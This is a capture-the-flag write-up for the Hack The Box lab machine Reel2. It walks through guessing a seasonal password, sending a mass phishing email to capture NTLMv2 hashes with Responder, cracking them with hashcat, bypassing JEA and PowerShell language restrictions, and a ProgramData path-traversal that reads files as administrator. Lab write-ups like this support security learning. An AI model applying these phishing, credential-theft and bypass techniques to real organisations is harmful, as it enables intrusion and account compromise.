Reel2

Reel2 is a hard windows box by cube0x0.

Overview

The box starts with web-enumeration, where we find an installation of Wallstant (a social network). Digging on the platform we get a possible password and usernames. Enumerating the webserver on port 443, we can access Outlook Web App. Using the credentials, we can login as the user. We then send a phising email to all recipients, which returns a hash to our responder-listener. Cracking the hash, we get the password for a user. We can then use New-PSSession to create a session as the user. Bypassing some restrictions, we get code-execution and can read user.txt.

Enumerating the system, we find some jea config files, as well as a password in a sticky-note. Using the credentials, we can login as the jea_test_account. The jea config files revealed that the jea_test_account runs as admin and has a path-traversal vulnerability that gives us arbitrary file-read. Logging in as the user, we can exploit the vulnerability to read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.210
Nmap scan report for 10.10.10.210
Host is up (0.051s latency).
Not shown: 991 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp  open  ssl/https?
| ssl-cert: Subject: commonName=Reel2
| Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local
| Not valid before: 2020-07-30T10:12:46
|_Not valid after:  2025-07-30T10:12:46
|_ssl-date: 2021-03-13T09:59:48+00:00; +6m15s from scanner time.
6001/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6002/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6004/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6005/tcp open  msrpc      Microsoft Windows RPC
6006/tcp open  msrpc      Microsoft Windows RPC
6007/tcp open  msrpc      Microsoft Windows RPC
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32
|_http-title: Welcome | Wallstant
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6m14s

Enumeration

There a lot of open ports shown. The most interesting are 80 (http), 443 (https) and 8080 (http). Nmap already returns the DNS-name from the ssl-certificate (Reel2.htb.local). As nmap tells us that http and https returns 403s, let us start our enumeration with port 8080.

HTTP - Port 8080

Connecting to http://10.10.10.210:8080, we get following webpage shown:

Index webpage

The webpage seems to be running Wallstant, an open source PHP social network. Let us register an account and login.

Registering an account

After registering, we get redirected to this page.

Home page

Looking at the trending posts, we can see multiple users. Looking through each profiles, one profile stands out:

Sven's profile

This post is very interesting. A common way to bypass [annoying] password-policies (e.g: change password every 90 days), is using the current season + year as a password. This would give us following possible password: Summer2020. Furthermore, we can guess his username. As his handle is svensson and sven is his profile-name, we can guess some common names like: sven.svensson, svensson.sven, s.svensson, … However, logging in as the user on this webpage is not possible. Let us continue our enumeration on port 443.

HTTPS - Port 443

Let us start enumeration, by running a gobuster.

root@darkness:~# gobuster dir -u https://10.10.10.210/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.210/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/03/13 11:23:44 Starting gobuster in directory enumeration mode
===============================================================
/public (Status: 302)
/exchange (Status: 302)        
/Public (Status: 302)          
/rpc (Status: 401)             
/owa (Status: 301)

/owa should promising! Let us try our credentials there. Eventually after a bit of trying, I was able to login with following credentials:

htb.local\s.svensson:Summer2020.

Successful login

After login, we get redirected to the users outlook.

Outlook index

The website is in Swedish by default, however we can use the Google-Translate addon for Firefox to translate it. Next, let us send a phising-email to all users (we can use the address-book at the top right to access all users).

Sending emails

We can now send a mail to all users.

Phising users

Phising email

For the phising-email, we simply add our IP-address (assuming that this is enough for the user to go to the address). Furthermore, we start a responder in the background.

root@darkness:~# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client   : 10.10.10.210
[HTTP] NTLMv2 Username : htb\k.svensson
[HTTP] NTLMv2 Hash     : k.svensson::htb:d087e83c0ed0fb77:5462D5B9BB6EF4D3587372D863F986B5:010100000000000059DF16BAFE17D701FFB4A1F6E1B5C0C3000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000400000640CBE391AAB74FA0743F85CA530D3EB28CDA00C53F6E11ED16DA8F2BA3749750A0010000000000000000000000000000000000009001E0048005400540050002F00310030002E00310030002E00310034002E0035000000000000000000

After sending the email, we capture a hash with responder. We can now use hashcat to crack the hash.

Cracking hash using hashcat

PS> hashcat64.exe -m 5600 hashes\reel2.txt wl\rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070, 2048/8192 MB allocatable, 15MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache hit:
* Filename..: wl\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

K.SVENSSON::htb:c888b43337ac43d3:31fa9e9405dc92901a1bdb143a69331e:0101000000000000a1eee2c8d803d701f7d6c0b3dd470191000000000200060053004d0042000100160053004d0042002d0054004f004f004c004b00490054000400120073006d0062002e006c006f00630061006c000300280073006500720076006500720032003000300033002e0073006d0062002e006c006f00630061006c000500120073006d0062002e006c006f00630061006c000800300030000000000000000000000000400000f480b1022a0e0c7c8a7f8dde6f545137a598eb36281d0879c5200fd2e8c4d0460a001000000000000000000000000000000000000900200048005400540050002f00310030002e00310030002e00310034002e00310034000000000000000000:kittycat1

Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: K.SVENSSON::htb:c888b43337ac43d3:31fa9e9405dc92901a...000000
Time.Started.....: Sat Mar 13 12:49:14 2021 (9 secs)
Time.Estimated...: Sat Mar 13 12:49:23 2021 (0 secs)
Guess.Base.......: File (wl\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 45721.5 kH/s (7.89ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 983040/14344385 (6.85%)
Rejected.........: 0/983040 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> computer_87
Hardware.Mon.#1..: Temp: 52c Fan:  0% Util:  6% Core:1987MHz Mem:4104MHz Bus:16

Started: Sat Mar 13 12:49:10 2021
Stopped: Sat Mar 13 12:49:24 2021

We successfully cracked the hash: kittycat1. We now have credentials for the user k.svensson:kittycat1.

Initial shell - PSremote

We can now use PSremote to login. For this we have to install powershell on our kali. We also have to install some additional packages (according to this GitHub issue).

root@darkness:~# apt install powershell
root@darkness:~# apt install krb5-multidev libkrb5-dev gss-ntlmssp

We can now login to the server using powershell.

root@darkness:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

PS /root> New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential k.svensson

PowerShell credential request
Enter your credentials.
Password for user k.svensson: ********* (kittycat1)


 Id Name            Transport ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            --------- ------------    ------------    -----         -----------------     ------------
  1 Runspace1       WSMan     10.10.10.210    RemoteMachine   Opened        Microsoft.PowerShell     Available

We successfully open a PSSession. We can now enter the session using Enter-PSSession <ID>.

PS /root> Enter-PSSession 1
[10.10.10.210]: PS> whoami
The term 'whoami.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check 
the spelling of the name, or if a path was included, verify that the path is correct and try again.
    + CategoryInfo          : ObjectNotFound: (whoami.exe:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

We successfully connect, however are not able to execute any commands. After a bit of playing around I found a bypass:

[10.10.10.210]: PS> &{ whoami }
htb\k.svensson

We successfully get code-execution as user and can now read user.txt.

[10.10.10.210]: PS> &{ type C:\Users\k.svensson\Desktop\user.txt }
a13b4***************************

Privesc - Root

Now that we have user, let us enumerate the system to find a privesc-vector to root.

Enumeration as user

Let us start by looking at the home-directory of the user.

[10.10.10.210]: PS> &{ dir "C:\Users\k.svensson\Documents"}


    Directory: C:\Users\k.svensson\Documents


Mode                LastWriteTime         Length Name                                                                
----                -------------         ------ ----                                                                
d-----        7/30/2020   5:14 PM                WindowsPowerShell                                                   
-a----        7/31/2020  11:58 AM           5600 jea_test_account.psrc                                               
-a----        7/31/2020  11:58 AM           2564 jea_test_account.pssc

The jea_test_account* files seem interesting! Let us take a look at them.

[10.10.10.210]: PS> &{ type jea_test_account.psrc }
@{

# ID used to uniquely identify this document
GUID = '08c0fdac-36ef-43b5-931f-68171c4c8200'

# Author of this document
Author = 'cube0x0'

# Description of the functionality provided by these settings
# Description = ''

# Company associated with this document
CompanyName = 'Unknown'

# Copyright statement for this document
Copyright = '(c) 2020 cube0x0. All rights reserved.'

# Functions to define when applied to a session
FunctionDefinitions = @{
    'Name' = 'Check-File'
    'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }
}

I removed all comments from the file. The most interesting part of this file is the FunctionDefinitions. This defines a function for the jea_test_account user, which allows him to read file from D:\* and C:\ProgramData\*. We immediately spot a path-traversal vulnerability here, which allows us to bypass this check. After a bit of research this slides confirms our suspicion. Furthermore, this talk has some more interesting information.

The Check-File function looks as follows:

function check-file {

    param($Path,$ComputerName=$env:COMPUTERNAME)

    [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" 
     if($check) {
         get-content $Path
    }
}

Let us check out the jea_test_account.pssc next.

[10.10.10.210]: PS> &{ type jea_test_account.pssc }
@{

# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'

# ID used to uniquely identify this document
GUID = 'd6a39756-aa53-4ef6-a74b-37c6a80fd796'

# Author of this document
Author = 'cube0x0'

# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'

# Whether to run this session configuration as the machine's (virtual) administrator account
RunAsVirtualAccount = $true

# User roles (security groups), and the role capabilities that should be applied to them when applied to a session
RoleDefinitions = @{
    'htb\jea_test_account' = @{
        'RoleCapabilities' = 'jea_test_account' } }

# Language mode to apply when applied to a session. Can be 'NoLanguage' (recommended), 'RestrictedLanguage', 'ConstrainedLanguage', or 'FullLanguage'
LanguageMode = 'NoLanguage'

}

Seems like the jea_test_account is running as a administrator account, which combined with the path-traversal vulnerability may gives us arbitrary file-write. Let us further enumerate the system to find a way to privesc to the jea_test_account.

[10.10.10.210]: PS> &{ dir C:\Users\k.svensson\Desktop\ }

    Directory: C:\Users\k.svensson\Desktop

Mode                LastWriteTime         Length Name                                                                
----                -------------         ------ ----                                                                
d-----        2/12/2021   5:12 PM                WinDirStatPortable                                                  
-a----         2/8/2021   5:55 PM        1490312 procexp64.exe                                                       
-a----        7/30/2020   1:19 PM           2428 Sticky Notes.lnk                                                    
-a----         2/8/2021   5:54 PM        2591096 Sysmon64.exe                                                        
-ar---        3/13/2021  10:26 AM             34 user.txt

The Sticky Notes.lnk seems interesting, let us try to access the sticky-notes of the user. The sticky-notes are located at:

[10.10.10.210]: PS> &{ dir "C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\" }

    Directory: C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb

Mode                LastWriteTime         Length Name                                                                
----                -------------         ------ ----                                                                
-a----        2/18/2021  12:48 PM           2620 000003.log                                                          
-a----        7/30/2020   1:19 PM             16 CURRENT                                                             
-a----        7/30/2020   1:19 PM              0 LOCK                                                                
-a----        3/13/2021  10:29 AM              0 LOG                                                                 
-a----        2/18/2021  12:47 PM            182 LOG.old                                                             
-a----        7/30/2020   1:19 PM             41 MANIFEST-000001

The 000003.log seems interesting, let us try to download the file. We can use base64 for this:

[10.10.10.210]: PS> &{ $text = Get-Content "C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log"}                                                                                                                  
[10.10.10.210]: PS> &{ $bytes = [System.Text.Encoding]::Unicode.GetBytes($text) }                                       
Cannot invoke method. Method invocation is supported only on core types in this language mode.                         
At line:1 char:4                                                                                                       
+ &{ $bytes = [System.Text.Encoding]::Unicode.GetBytes($text) }                                                        
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                                          
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException                                                                                                                                                                       
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage

Seems like we cannot run this command due to language restriction. We can simply bypass this using following command:

[10.10.10.210]: PS> &{ cd "C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\"; powershell -version 3 -c '[byte[]]$bytes = Get-Content "000003.log" -Encoding byte; [System.Convert]::ToBase64String($bytes);'}
L+GAdUI[....]Rlc3RfXw==

We can now decode the file locally with powershell:

PS /root> $ByteArray = [System.Convert]::FromBase64String($EncodedString);
PS /root> $text = Get-Content "000003.log.b64"
PS /root> $bytes = [System.Convert]::FromBase64String($text);
PS /root> [System.IO.File]::WriteAllBytes("000003.log", $bytes);

Let us take a look at the file now:

root@darkness:~# strings 000003.log | head
VERSION
META:app://.
_app://.
__storejs__test__Z
META:app://.
_app://.
{"first":"<p>Credentials for JEA</p><p>jea_test_account:Ab!Q@vcg^%@#1</p>","back":"rgb(255, 242, 171)","title":"rgb(255, 235, 129)","wid":"350","hei":"375","deleted":"no","closed":"yes","locked":"no"}
_app://.
__storejs__test__
_app://.

We have found credentials in this file! jea_test_account:Ab!Q@vcg^%@#1.

Login as jea_test_account

We can now again create a PSSession for the jea_test_account user. In order to access the jea configuration files, we have to +add the -ConfigurationName option.

PS /root> New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential jea_test_account -ConfigurationName jea_test_account

PowerShell credential request
Enter your credentials.
Password for user jea_test_account: *************


 Id Name            Transport ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            --------- ------------    ------------    -----         -----------------     ------------
  2 Runspace2       WSMan     10.10.10.210    RemoteMachine   Opened        jea_test_account         Available

We successfully get a session and can now try to abuse the Check-File function.

[10.10.10.210]: PS>Check-File C:\ProgramData\..\Users\Administrator\Desktop\root.txt
0ac86***************************

We successfully abuse the Check-File function to read root.txt.